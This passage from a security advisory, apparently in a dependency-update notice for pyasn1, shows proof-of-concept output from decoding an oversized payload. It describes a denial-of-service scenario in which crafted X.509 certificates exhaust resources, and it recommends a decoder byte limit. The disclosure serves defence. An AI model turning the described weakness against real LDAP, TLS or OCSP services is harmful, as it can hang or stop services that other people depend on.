#### Leak analysis A potential heap leak was investigated but came back clean: ``` [*] Creating 1000KB payload... [*] Decoding with pyasn1... [*] Materializing to string... [+] Decoded 2157784 characters [+] Binary representation: 896001 bytes [+] Dumped to heap_dump.bin [*] First 64 bytes (hex): 01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081 [*] First 64 bytes (ASCII/hex dump): 0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @..... @.. 0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08 ... @..... @.... 0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @..... @..... 0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @..... @..... @. [*] Digit distribution analysis: '0': 10.1% '1': 9.9% '2': 10.0% '3': 9.9% '4': 9.9% '5': 10.0% '6': 10.0% '7': 10.0% '8': 9.9% '9': 10.1% ``` ### Scenario 1. An attacker creates a malicious X.509 certificate. 2. The application validates certificates. 3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above. ### Impact This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc. ### Recommendation Add a limit to the allowed bytes in the decoder. --- ### Release Notes

pyasn1/pyasn1 (pyasn1)
